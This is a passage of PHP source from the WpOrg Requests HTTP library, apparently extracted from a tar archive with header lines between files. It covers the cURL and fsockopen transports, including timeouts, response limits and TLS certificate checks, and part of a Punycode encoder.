* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data parameter is not an array or string.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
* @throws \WpOrg\Requests\Exception On a cURL error (`curlerror`)
*/
public function request($url, $headers = [], $data = [], $options = []) {
if (InputValidator::is_string_or_stringable($url) === false) {
throw InvalidArgument::create(1, '$url', 'string|Stringable', gettype($url));
}
if (is_array($headers) === false) {
throw InvalidArgument::create(2, '$headers', 'array', gettype($headers));
}
if (!is_array($data) && !is_string($data)) {
if ($data === null) {
$data = '';
} else {
throw InvalidArgument::create(3, '$data', 'array|string', gettype($data));
}
}
if (is_array($options) === false) {
throw InvalidArgument::create(4, '$options', 'array', gettype($options));
}
$this->hooks = $options['hooks'];
$this->setup_handle($url, $headers, $data, $options);
$options['hooks']->dispatch('curl.before_send', [&$this->handle]);
if ($options['filename'] !== false) {
// phpcs:ignore WordPress.PHP.NoSilencedErrors -- Silenced the PHP native warning in favour of throwing an exception.
$this->stream_handle = @fopen($options['filename'], 'wb');
if ($this->stream_handle === false) {
$error = error_get_last();
throw new Exception($error['message'], 'fopen');
}
}
$this->response_data = '';
$this->response_bytes = 0;
$this->response_byte_limit = false;
if ($options['max_bytes'] !== false) {
$this->response_byte_limit = $options['max_bytes'];
}
if (isset($options['verify'])) {
if ($options['verify'] === false) {
curl_setopt($this->handle, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($this->handle, CURLOPT_SSL_VERIFYPEER, 0);
} elseif (is_string($options['verify'])) {
curl_setopt($this->handle, CURLOPT_CAINFO, $options['verify']);
}
}
if (isset($options['verifyname']) && $options['verifyname'] === false) {
curl_setopt($this->handle, CURLOPT_SSL_VERIFYHOST, 0);
}
curl_exec($this->handle);
$response = $this->response_data;
$options['hooks']->dispatch('curl.after_send', []);
if (curl_errno($this->handle) === CURLE_WRITE_ERROR || curl_errno($this->handle) === CURLE_BAD_CONTENT_ENCODING) {
// Reset encoding and try again
curl_setopt($this->handle, CURLOPT_ENCODING, 'none');
$this->response_data = '';
$this->response_bytes = 0;
curl_exec($this->handle);
$response = $this->response_data;
}
$this->process_response($response, $options);
// Need to remove the $this reference from the curl handle.
// Otherwise \WpOrg\Requests\Transport\Curl won't be garbage collected and the curl_close() will never be called.
curl_setopt($this->handle, CURLOPT_HEADERFUNCTION, null);
curl_setopt($this->handle, CURLOPT_WRITEFUNCTION, null);
return $this->headers;
}
/**
* Send multiple requests simultaneously
*
* @param array $requests Request data
* @param array $options Global options
* @return array Array of \WpOrg\Requests\Response objects (may contain \WpOrg\Requests\Exception or string responses as well)
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
*/
public function request_multiple($requests, $options) {
// If you're not requesting, we can't get any responses ¯\_(ツ)_/¯
if (empty($requests)) {
return [];
}
if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) {
throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests));
}
if (is_array($options) === false) {
throw InvalidArgument::create(2, '$options', 'array', gettype($options));
}
$multihandle = curl_multi_init();
$subrequests = [];
$subhandles = [];
$class = get_class($this);
foreach ($requests as $id => $request) {
$subrequests[$id] = new $class();
$subhandles[$id] = $subrequests[$id]->get_subrequest_handle($request['url'], $request['headers'], $request['data'], $request['options']);
$request['options']['hooks']->dispatch('curl.before_multi_add', [&$subhandles[$id]]);
curl_multi_add_handle($multihandle, $subhandles[$id]);
}
$completed = 0;
$responses = [];
$subrequestcount = count($subrequests);
$request['options']['hooks']->dispatch('curl.before_multi_exec', [&$multihandle]);
do {
$active = 0;
do {
$status = curl_multi_exec($multihandle, $active);
} while ($status === CURLM_CALL_MULTI_PERFORM);
$to_process = [];
// Read the information as needed
while ($done = curl_multi_info_read($multihandle)) {
$key = array_search($done['handle'], $subhandles, true);
if (!isset($to_process[$key])) {
$to_process[$key] = $done;
}
}
// Parse the finished requests before we start getting the new ones
foreach ($to_process as $key => $done) {
$options = $requests[$key]['options'];
if ($done['result'] !== CURLE_OK) {
//get error string for handle.
$reason = curl_error($done['handle']);
$exception = new CurlException(
$reason,
CurlException::EASY,
$done['handle'],
$done['result']
);
$responses[$key] = $exception;
$options['hooks']->dispatch('transport.internal.parse_error', [&$responses[$key], $requests[$key]]);
} else {
$responses[$key] = $subrequests[$key]->process_response($subrequests[$key]->response_data, $options);
$options['hooks']->dispatch('transport.internal.parse_response', [&$responses[$key], $requests[$key]]);
}
curl_multi_remove_handle($multihandle, $done['handle']);
curl_close($done['handle']);
if (!is_string($responses[$key])) {
$options['hooks']->dispatch('multiple.request.complete', [&$responses[$key], $key]);
}
$completed++;
}
} while ($active || $completed < $subrequestcount);
$request['options']['hooks']->dispatch('curl.after_multi_exec', [&$multihandle]);
curl_multi_close($multihandle);
return $responses;
}
/**
* Get the cURL handle for use in a multi-request
*
* @param string $url URL to request
* @param array $headers Associative array of request headers
* @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
* @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation
* @return resource|\CurlHandle Subrequest's cURL handle
*/
public function &get_subrequest_handle($url, $headers, $data, $options) {
$this->setup_handle($url, $headers, $data, $options);
if ($options['filename'] !== false) {
$this->stream_handle = fopen($options['filename'], 'wb');
}
$this->response_data = '';
$this->response_bytes = 0;
$this->response_byte_limit = false;
if ($options['max_bytes'] !== false) {
$this->response_byte_limit = $options['max_bytes'];
}
$this->hooks = $options['hooks'];
return $this->handle;
}
/**
* Setup the cURL handle for the given data
*
* @param string $url URL to request
* @param array $headers Associative array of request headers
* @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
* @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation
*/
private function setup_handle($url, $headers, $data, $options) {
$options['hooks']->dispatch('curl.before_request', [&$this->handle]);
// Force closing the connection for old versions of cURL (<7.22).
if (!isset($headers['Connection'])) {
$headers['Connection'] = 'close';
}
/**
* Add "Expect" header.
*
* By default, cURL adds a "Expect: 100-Continue" to most requests. This header can
* add as much as a second to the time it takes for cURL to perform a request. To
* prevent this, we need to set an empty "Expect" header. To match the behaviour of
* Guzzle, we'll add the empty header to requests that are smaller than 1 MB and use
* HTTP/1.1.
*
* https://curl.se/mail/lib-2017-07/0013.html
*/
if (!isset($headers['Expect']) && $options['protocol_version'] === 1.1) {
$headers['Expect'] = $this->get_expect_header($data);
}
$headers = Requests::flatten($headers);
if (!empty($data)) {
$data_format = $options['data_format'];
if ($data_format === 'query') {
$url = self::format_get($url, $data);
$data = '';
} elseif (!is_string($data)) {
$data = http_build_query($data, '', '&');
}
}
switch ($options['type']) {
case Requests::POST:
curl_setopt($this->handle, CURLOPT_POST, true);
curl_setopt($this->handle, CURLOPT_POSTFIELDS, $data);
break;
case Requests::HEAD:
curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']);
curl_setopt($this->handle, CURLOPT_NOBODY, true);
break;
case Requests::TRACE:
curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']);
break;
case Requests::PATCH:
case Requests::PUT:
case Requests::DELETE:
case Requests::OPTIONS:
default:
curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']);
if (!empty($data)) {
curl_setopt($this->handle, CURLOPT_POSTFIELDS, $data);
}
}
// cURL requires a minimum timeout of 1 second when using the system
// DNS resolver, as it uses `alarm()`, which is second resolution only.
// There's no way to detect which DNS resolver is being used from our
// end, so we need to round up regardless of the supplied timeout.
//
// https://github.com/curl/curl/blob/4f45240bc84a9aa648c8f7243be7b79e9f9323a5/lib/hostip.c#L606-L609
$timeout = max($options['timeout'], 1);
if (is_int($timeout) || $this->version < self::CURL_7_16_2) {
curl_setopt($this->handle, CURLOPT_TIMEOUT, ceil($timeout));
} else {
// phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_timeout_msFound
curl_setopt($this->handle, CURLOPT_TIMEOUT_MS, round($timeout * 1000));
}
if (is_int($options['connect_timeout']) || $this->version < self::CURL_7_16_2) {
curl_setopt($this->handle, CURLOPT_CONNECTTIMEOUT, ceil($options['connect_timeout']));
} else {
// phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_connecttimeout_msFound
curl_setopt($this->handle, CURLOPT_CONNECTTIMEOUT_MS, round($options['connect_timeout'] * 1000));
}
curl_setopt($this->handle, CURLOPT_URL, $url);
curl_setopt($this->handle, CURLOPT_USERAGENT, $options['useragent']);
if (!empty($headers)) {
curl_setopt($this->handle, CURLOPT_HTTPHEADER, $headers);
}
if ($options['protocol_version'] === 1.1) {
curl_setopt($this->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
} else {
curl_setopt($this->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
}
if ($options['blocking'] === true) {
curl_setopt($this->handle, CURLOPT_HEADERFUNCTION, [$this, 'stream_headers']);
curl_setopt($this->handle, CURLOPT_WRITEFUNCTION, [$this, 'stream_body']);
curl_setopt($this->handle, CURLOPT_BUFFERSIZE, Requests::BUFFER_SIZE);
}
}
/**
* Process a response
*
* @param string $response Response data from the body
* @param array $options Request options
* @return string|false HTTP response data including headers. False if non-blocking.
* @throws \WpOrg\Requests\Exception If the request resulted in a cURL error.
*/
public function process_response($response, $options) {
if ($options['blocking'] === false) {
$fake_headers = '';
$options['hooks']->dispatch('curl.after_request', [&$fake_headers]);
return false;
}
if ($options['filename'] !== false && $this->stream_handle) {
fclose($this->stream_handle);
$this->headers = trim($this->headers);
} else {
$this->headers .= $response;
}
if (curl_errno($this->handle)) {
$error = sprintf(
'cURL error %s: %s',
curl_errno($this->handle),
curl_error($this->handle)
);
throw new Exception($error, 'curlerror', $this->handle);
}
$this->info = curl_getinfo($this->handle);
$options['hooks']->dispatch('curl.after_request', [&$this->headers, &$this->info]);
return $this->headers;
}
/**
* Collect the headers as they are received
*
* @param resource|\CurlHandle $handle cURL handle
* @param string $headers Header string
* @return integer Length of provided header
*/
public function stream_headers($handle, $headers) {
// Why do we do this? cURL will send both the final response and any
// interim responses, such as a 100 Continue. We don't need that.
// (We may want to keep this somewhere just in case)
if ($this->done_headers) {
$this->headers = '';
$this->done_headers = false;
}
$this->headers .= $headers;
if ($headers === "\r\n") {
$this->done_headers = true;
}
return strlen($headers);
}
/**
* Collect data as it's received
*
* @since 1.6.1
*
* @param resource|\CurlHandle $handle cURL handle
* @param string $data Body data
* @return integer Length of provided data
*/
public function stream_body($handle, $data) {
$this->hooks->dispatch('request.progress', [$data, $this->response_bytes, $this->response_byte_limit]);
$data_length = strlen($data);
// Are we limiting the response size?
if ($this->response_byte_limit) {
if ($this->response_bytes === $this->response_byte_limit) {
// Already at maximum, move on
return $data_length;
}
if (($this->response_bytes + $data_length) > $this->response_byte_limit) {
// Limit the length
$limited_length = ($this->response_byte_limit - $this->response_bytes);
$data = substr($data, 0, $limited_length);
}
}
if ($this->stream_handle) {
fwrite($this->stream_handle, $data);
} else {
$this->response_data .= $data;
}
$this->response_bytes += strlen($data);
return $data_length;
}
/**
* Format a URL given GET data
*
* @param string $url Original URL.
* @param array|object $data Data to build query using, see {@link https://www.php.net/http_build_query}
* @return string URL with data
*/
private static function format_get($url, $data) {
if (!empty($data)) {
$query = '';
$url_parts = parse_url($url);
if (empty($url_parts['query'])) {
$url_parts['query'] = '';
} else {
$query = $url_parts['query'];
}
$query .= '&' . http_build_query($data, '', '&');
$query = trim($query, '&');
if (empty($url_parts['query'])) {
$url .= '?' . $query;
} else {
$url = str_replace($url_parts['query'], $query, $url);
}
}
return $url;
}
/**
* Self-test whether the transport can be used.
*
* The available capabilities to test for can be found in {@see \WpOrg\Requests\Capability}.
*
* @codeCoverageIgnore
* @param array $capabilities Optional. Associative array of capabilities to test against, i.e. `['' => true]`.
* @return bool Whether the transport can be used.
*/
public static function test($capabilities = []) {
if (!function_exists('curl_init') || !function_exists('curl_exec')) {
return false;
}
// If needed, check that our installed curl version supports SSL
if (isset($capabilities[Capability::SSL]) && $capabilities[Capability::SSL]) {
$curl_version = curl_version();
if (!(CURL_VERSION_SSL & $curl_version['features'])) {
return false;
}
}
return true;
}
/**
* Get the correct "Expect" header for the given request data.
*
* @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD.
* @return string The "Expect" header.
*/
private function get_expect_header($data) {
if (!is_array($data)) {
return strlen((string) $data) >= 1048576 ? '100-Continue' : '';
}
$bytesize = 0;
$iterator = new RecursiveIteratorIterator(new RecursiveArrayIterator($data));
foreach ($iterator as $datum) {
$bytesize += strlen((string) $datum);
if ($bytesize >= 1048576) {
return '100-Continue';
}
}
return '';
}
}
src/Transport/Fsockopen.php 0000755 00000037033 15162160274 0012004 0 ustar 00 dispatch('fsockopen.before_request');
$url_parts = parse_url($url);
if (empty($url_parts)) {
throw new Exception('Invalid URL.', 'invalidurl', $url);
}
$host = $url_parts['host'];
$context = stream_context_create();
$verifyname = false;
$case_insensitive_headers = new CaseInsensitiveDictionary($headers);
// HTTPS support
if (isset($url_parts['scheme']) && strtolower($url_parts['scheme']) === 'https') {
$remote_socket = 'ssl://' . $host;
if (!isset($url_parts['port'])) {
$url_parts['port'] = Port::HTTPS;
}
$context_options = [
'verify_peer' => true,
'capture_peer_cert' => true,
];
$verifyname = true;
// SNI, if enabled (OpenSSL >=0.9.8j)
// phpcs:ignore PHPCompatibility.Constants.NewConstants.openssl_tlsext_server_nameFound
if (defined('OPENSSL_TLSEXT_SERVER_NAME') && OPENSSL_TLSEXT_SERVER_NAME) {
$context_options['SNI_enabled'] = true;
if (isset($options['verifyname']) && $options['verifyname'] === false) {
$context_options['SNI_enabled'] = false;
}
}
if (isset($options['verify'])) {
if ($options['verify'] === false) {
$context_options['verify_peer'] = false;
$context_options['verify_peer_name'] = false;
$verifyname = false;
} elseif (is_string($options['verify'])) {
$context_options['cafile'] = $options['verify'];
}
}
if (isset($options['verifyname']) && $options['verifyname'] === false) {
$context_options['verify_peer_name'] = false;
$verifyname = false;
}
// Handle the PHP 8.4 deprecation (PHP 9.0 removal) of the function signature we use for stream_context_set_option().
// Ref: https://wiki.php.net/rfc/deprecate_functions_with_overloaded_signatures#stream_context_set_option
if (function_exists('stream_context_set_options')) {
// PHP 8.3+.
stream_context_set_options($context, ['ssl' => $context_options]);
} else {
// PHP < 8.3.
stream_context_set_option($context, ['ssl' => $context_options]);
}
} else {
$remote_socket = 'tcp://' . $host;
}
$this->max_bytes = $options['max_bytes'];
if (!isset($url_parts['port'])) {
$url_parts['port'] = Port::HTTP;
}
$remote_socket .= ':' . $url_parts['port'];
// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_set_error_handler
set_error_handler([$this, 'connect_error_handler'], E_WARNING | E_NOTICE);
$options['hooks']->dispatch('fsockopen.remote_socket', [&$remote_socket]);
$socket = stream_socket_client($remote_socket, $errno, $errstr, ceil($options['connect_timeout']), STREAM_CLIENT_CONNECT, $context);
restore_error_handler();
if ($verifyname && !$this->verify_certificate_from_context($host, $context)) {
throw new Exception('SSL certificate did not match the requested domain name', 'ssl.no_match');
}
if (!$socket) {
if ($errno === 0) {
// Connection issue
throw new Exception(rtrim($this->connect_error), 'fsockopen.connect_error');
}
throw new Exception($errstr, 'fsockopenerror', null, $errno);
}
$data_format = $options['data_format'];
if ($data_format === 'query') {
$path = self::format_get($url_parts, $data);
$data = '';
} else {
$path = self::format_get($url_parts, []);
}
$options['hooks']->dispatch('fsockopen.remote_host_path', [&$path, $url]);
$request_body = '';
$out = sprintf("%s %s HTTP/%.1F\r\n", $options['type'], $path, $options['protocol_version']);
if ($options['type'] !== Requests::TRACE) {
if (is_array($data)) {
$request_body = http_build_query($data, '', '&');
} else {
$request_body = $data;
}
// Always include Content-length on POST requests to prevent
// 411 errors from some servers when the body is empty.
if (!empty($data) || $options['type'] === Requests::POST) {
if (!isset($case_insensitive_headers['Content-Length'])) {
$headers['Content-Length'] = strlen($request_body);
}
if (!isset($case_insensitive_headers['Content-Type'])) {
$headers['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8';
}
}
}
if (!isset($case_insensitive_headers['Host'])) {
$out .= sprintf('Host: %s', $url_parts['host']);
$scheme_lower = strtolower($url_parts['scheme']);
if (($scheme_lower === 'http' && $url_parts['port'] !== Port::HTTP) || ($scheme_lower === 'https' && $url_parts['port'] !== Port::HTTPS)) {
$out .= ':' . $url_parts['port'];
}
$out .= "\r\n";
}
if (!isset($case_insensitive_headers['User-Agent'])) {
$out .= sprintf("User-Agent: %s\r\n", $options['useragent']);
}
$accept_encoding = $this->accept_encoding();
if (!isset($case_insensitive_headers['Accept-Encoding']) && !empty($accept_encoding)) {
$out .= sprintf("Accept-Encoding: %s\r\n", $accept_encoding);
}
$headers = Requests::flatten($headers);
if (!empty($headers)) {
$out .= implode("\r\n", $headers) . "\r\n";
}
$options['hooks']->dispatch('fsockopen.after_headers', [&$out]);
if (substr($out, -2) !== "\r\n") {
$out .= "\r\n";
}
if (!isset($case_insensitive_headers['Connection'])) {
$out .= "Connection: Close\r\n";
}
$out .= "\r\n" . $request_body;
$options['hooks']->dispatch('fsockopen.before_send', [&$out]);
fwrite($socket, $out);
$options['hooks']->dispatch('fsockopen.after_send', [$out]);
if (!$options['blocking']) {
fclose($socket);
$fake_headers = '';
$options['hooks']->dispatch('fsockopen.after_request', [&$fake_headers]);
return '';
}
$timeout_sec = (int) floor($options['timeout']);
if ($timeout_sec === $options['timeout']) {
$timeout_msec = 0;
} else {
$timeout_msec = self::SECOND_IN_MICROSECONDS * $options['timeout'] % self::SECOND_IN_MICROSECONDS;
}
stream_set_timeout($socket, $timeout_sec, $timeout_msec);
$response = '';
$body = '';
$headers = '';
$this->info = stream_get_meta_data($socket);
$size = 0;
$doingbody = false;
$download = false;
if ($options['filename']) {
// phpcs:ignore WordPress.PHP.NoSilencedErrors -- Silenced the PHP native warning in favour of throwing an exception.
$download = @fopen($options['filename'], 'wb');
if ($download === false) {
$error = error_get_last();
throw new Exception($error['message'], 'fopen');
}
}
while (!feof($socket)) {
$this->info = stream_get_meta_data($socket);
if ($this->info['timed_out']) {
throw new Exception('fsocket timed out', 'timeout');
}
$block = fread($socket, Requests::BUFFER_SIZE);
if (!$doingbody) {
$response .= $block;
if (strpos($response, "\r\n\r\n")) {
list($headers, $block) = explode("\r\n\r\n", $response, 2);
$doingbody = true;
}
}
// Are we in body mode now?
if ($doingbody) {
$options['hooks']->dispatch('request.progress', [$block, $size, $this->max_bytes]);
$data_length = strlen($block);
if ($this->max_bytes) {
// Have we already hit a limit?
if ($size === $this->max_bytes) {
continue;
}
if (($size + $data_length) > $this->max_bytes) {
// Limit the length
$limited_length = ($this->max_bytes - $size);
$block = substr($block, 0, $limited_length);
}
}
$size += strlen($block);
if ($download) {
fwrite($download, $block);
} else {
$body .= $block;
}
}
}
$this->headers = $headers;
if ($download) {
fclose($download);
} else {
$this->headers .= "\r\n\r\n" . $body;
}
fclose($socket);
$options['hooks']->dispatch('fsockopen.after_request', [&$this->headers, &$this->info]);
return $this->headers;
}
/**
* Send multiple requests simultaneously
*
* @param array $requests Request data (array of 'url', 'headers', 'data', 'options') as per {@see \WpOrg\Requests\Transport::request()}
* @param array $options Global options, see {@see \WpOrg\Requests\Requests::response()} for documentation
* @return array Array of \WpOrg\Requests\Response objects (may contain \WpOrg\Requests\Exception or string responses as well)
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
*/
public function request_multiple($requests, $options) {
// If you're not requesting, we can't get any responses ¯\_(ツ)_/¯
if (empty($requests)) {
return [];
}
if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) {
throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests));
}
if (is_array($options) === false) {
throw InvalidArgument::create(2, '$options', 'array', gettype($options));
}
$responses = [];
$class = get_class($this);
foreach ($requests as $id => $request) {
try {
$handler = new $class();
$responses[$id] = $handler->request($request['url'], $request['headers'], $request['data'], $request['options']);
$request['options']['hooks']->dispatch('transport.internal.parse_response', [&$responses[$id], $request]);
} catch (Exception $e) {
$responses[$id] = $e;
}
if (!is_string($responses[$id])) {
$request['options']['hooks']->dispatch('multiple.request.complete', [&$responses[$id], $id]);
}
}
return $responses;
}
/**
* Retrieve the encodings we can accept
*
* @return string Accept-Encoding header value
*/
private static function accept_encoding() {
$type = [];
if (function_exists('gzinflate')) {
$type[] = 'deflate;q=1.0';
}
if (function_exists('gzuncompress')) {
$type[] = 'compress;q=0.5';
}
$type[] = 'gzip;q=0.5';
return implode(', ', $type);
}
/**
* Format a URL given GET data
*
* @param array $url_parts Array of URL parts as received from {@link https://www.php.net/parse_url}
* @param array|object $data Data to build query using, see {@link https://www.php.net/http_build_query}
* @return string URL with data
*/
private static function format_get($url_parts, $data) {
if (!empty($data)) {
if (empty($url_parts['query'])) {
$url_parts['query'] = '';
}
$url_parts['query'] .= '&' . http_build_query($data, '', '&');
$url_parts['query'] = trim($url_parts['query'], '&');
}
if (isset($url_parts['path'])) {
if (isset($url_parts['query'])) {
$get = $url_parts['path'] . '?' . $url_parts['query'];
} else {
$get = $url_parts['path'];
}
} else {
$get = '/';
}
return $get;
}
/**
* Error handler for stream_socket_client()
*
* @param int $errno Error number (e.g. E_WARNING)
* @param string $errstr Error message
*/
public function connect_error_handler($errno, $errstr) {
// Double-check we can handle it
if (($errno & E_WARNING) === 0 && ($errno & E_NOTICE) === 0) {
// Return false to indicate the default error handler should engage
return false;
}
$this->connect_error .= $errstr . "\n";
return true;
}
/**
* Verify the certificate against common name and subject alternative names
*
* Unfortunately, PHP doesn't check the certificate against the alternative
* names, leading things like 'https://www.github.com/' to be invalid.
* Instead
*
* @link https://tools.ietf.org/html/rfc2818#section-3.1 RFC2818, Section 3.1
*
* @param string $host Host name to verify against
* @param resource $context Stream context
* @return bool
*
* @throws \WpOrg\Requests\Exception On failure to connect via TLS (`fsockopen.ssl.connect_error`)
* @throws \WpOrg\Requests\Exception On not obtaining a match for the host (`fsockopen.ssl.no_match`)
*/
public function verify_certificate_from_context($host, $context) {
$meta = stream_context_get_options($context);
// If we don't have SSL options, then we couldn't make the connection at
// all
if (empty($meta) || empty($meta['ssl']) || empty($meta['ssl']['peer_certificate'])) {
throw new Exception(rtrim($this->connect_error), 'ssl.connect_error');
}
$cert = openssl_x509_parse($meta['ssl']['peer_certificate']);
return Ssl::verify_certificate($host, $cert);
}
/**
* Self-test whether the transport can be used.
*
* The available capabilities to test for can be found in {@see \WpOrg\Requests\Capability}.
*
* @codeCoverageIgnore
* @param array $capabilities Optional. Associative array of capabilities to test against, i.e. `['' => true]`.
* @return bool Whether the transport can be used.
*/
public static function test($capabilities = []) {
if (!function_exists('fsockopen')) {
return false;
}
// If needed, check that streams support SSL
if (isset($capabilities[Capability::SSL]) && $capabilities[Capability::SSL]) {
if (!extension_loaded('openssl') || !function_exists('openssl_x509_parse')) {
return false;
}
}
return true;
}
}
src/IdnaEncoder.php 0000644 00000030223 15162160274 0010223 0 ustar 00 0) {
if ($position + $length > $strlen) {
throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character);
}
for ($position++; $remaining > 0; $position++) {
$value = ord($input[$position]);
// If it is invalid, count the sequence as invalid and reprocess the current byte:
if (($value & 0xC0) !== 0x80) {
throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character);
}
--$remaining;
$character |= ($value & 0x3F) << ($remaining * 6);
}
$position--;
}
if (// Non-shortest form sequences are invalid
$length > 1 && $character <= 0x7F
|| $length > 2 && $character <= 0x7FF
|| $length > 3 && $character <= 0xFFFF
// Outside of range of ucschar codepoints
// Noncharacters
|| ($character & 0xFFFE) === 0xFFFE
|| $character >= 0xFDD0 && $character <= 0xFDEF
|| (
// Everything else not in ucschar
$character > 0xD7FF && $character < 0xF900
|| $character < 0x20
|| $character > 0x7E && $character < 0xA0
|| $character > 0xEFFFD
)
) {
throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character);
}
$codepoints[] = $character;
}
return $codepoints;
}
/**
* RFC3492-compliant encoder
*
* @internal Pseudo-code from Section 6.3 is commented with "#" next to relevant code
*
* @param string $input UTF-8 encoded string to encode
* @return string Punycode-encoded string
*
* @throws \WpOrg\Requests\Exception On character outside of the domain (never happens with Punycode) (`idna.character_outside_domain`)
*/
public static function punycode_encode($input) {
$output = '';
// let n = initial_n
$n = self::BOOTSTRAP_INITIAL_N;
// let delta = 0
$delta = 0;
// let bias = initial_bias
$bias = self::BOOTSTRAP_INITIAL_BIAS;
// let h = b = the number of basic code points in the input
$h = 0;
$b = 0; // see loop
// copy them to the output in order
$codepoints = self::utf8_to_codepoints($input);
$extended = [];
foreach ($codepoints as $char) {
if ($char < 128) {
// Character is valid ASCII
// TODO: this should also check if it's valid for a URL
$output .= chr($char);
$h++;
// Check if the character is non-ASCII, but below initial n
// This never occurs for Punycode, so ignore in coverage
// @codeCoverageIgnoreStart
} elseif ($char < $n) {
throw new Exception('Invalid character', 'idna.character_outside_domain', $char);
// @codeCoverageIgnoreEnd
} else {
$extended[$char] = true;
}
}
$extended = array_keys($extended);
sort($extended);
$b = $h;
// [copy them] followed by a delimiter if b > 0
if (strlen($output) > 0) {
$output .= '-';
}
// {if the input contains a non-basic code point < n then fail}
// while h < length(input) do begin
$codepointcount = count($codepoints);
while ($h < $codepointcount) {
// let m = the minimum code point >= n in the input
$m = array_shift($extended);
//printf('next code point to insert is %s' . PHP_EOL, dechex($m));
// let delta = delta + (m - n) * (h + 1), fail on overflow
$delta += ($m - $n) * ($h + 1);
// let n = m
$n = $m;
// for each code point c in the input (in order) do begin
for ($num = 0; $num < $codepointcount; $num++) {
$c = $codepoints[$num];
// if c < n then increment delta, fail on overflow
if ($c < $n) {
$delta++;
} elseif ($c === $n) { // if c == n then begin
// let q = delta
$q = $delta;
// for k = base to infinity in steps of base do begin
for ($k = self::BOOTSTRAP_BASE; ; $k += self::BOOTSTRAP_BASE) {
// let t = tmin if k <= bias {+ tmin}, or
// tmax if k >= bias + tmax, or k - bias otherwise
if ($k <= ($bias + self::BOOTSTRAP_TMIN)) {
$t = self::BOOTSTRAP_TMIN;
} elseif ($k >= ($bias + self::BOOTSTRAP_TMAX)) {
$t = self::BOOTSTRAP_TMAX;
} else {
$t = $k - $bias;
}
// if q < t then break
if ($q < $t) {
break;
}
// output the code point for digit t + ((q - t) mod (base - t))
$digit = (int) ($t + (($q - $t) % (self::BOOTSTRAP_BASE - $t)));
$output .= self::digit_to_char($digit);
// let q = (q - t) div (base - t)
$q = (int) floor(($q - $t) / (self::BOOTSTRAP_BASE - $t));
} // end
// output the code point for digit q
$output .= self::digit_to_char($q);
// let bias = adapt(delta, h + 1, test h equals b?)
$bias = self::adapt($delta, $h + 1, $h === $b);
// let delta = 0
$delta = 0;
// increment h
$h++;
} // end
} // end
// increment delta and n
$delta++;
$n++;
} // end
return $output;
}
/**
* Convert a digit to its respective character
*
* @link https://tools.ietf.org/html/rfc3492#section-5
*
* @param int $digit Digit in the range 0-35
* @return string Single character corresponding to digit
*
* @throws \WpOrg\Requests\Exception On invalid digit (`idna.invalid_digit`)
*/
protected static function digit_to_char($digit) {
// @codeCoverageIgnoreStart
// As far as I know, this never happens, but still good to be sure.
if ($digit < 0 || $digit > 35) {
throw new Exception(sprintf('Invalid digit %d', $digit), 'idna.invalid_digit', $digit);
}
// @codeCoverageIgnoreEnd
$digits = 'abcdefghijklmnopqrstuvwxyz0123456789';
return substr($digits, $digit, 1);
}
/**
* Adapt the bias
*
* @link https://tools.ietf.org/html/rfc3492#section-6.1
* @param int $delta
* @param int $numpoints
* @param bool $firsttime
* @return int|float New bias
*
* function adapt(delta,numpoints,firsttime):
*/
protected static function adapt($delta, $numpoints, $firsttime) {
// if firsttime then let delta = delta div damp
if ($firsttime) {
$delta = floor($delta / self::BOOTSTRAP_DAMP);
} else {
// else let delta = delta div 2
$delta = floor($delta / 2);
}
// let delta = delta + (delta div numpoints)
$delta += floor($delta / $numpoints);
// let k = 0
$k = 0;
// while delta > ((base - tmin) * tmax) div 2 do begin
$max = floor(((self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN) * self::BOOTSTRAP_TMAX) / 2);
while ($delta > $max) {
// let delta = delta div (base - tmin)
$delta = floor($delta / (self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN));
// let k = k + base
$k += self::BOOTSTRAP_BASE;
} // end
// return k + (((base - tmin + 1) * delta) div (delta + skew))
return $k + floor(((self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN + 1) * $delta) / ($delta + self::BOOTSTRAP_SKEW));
}
}
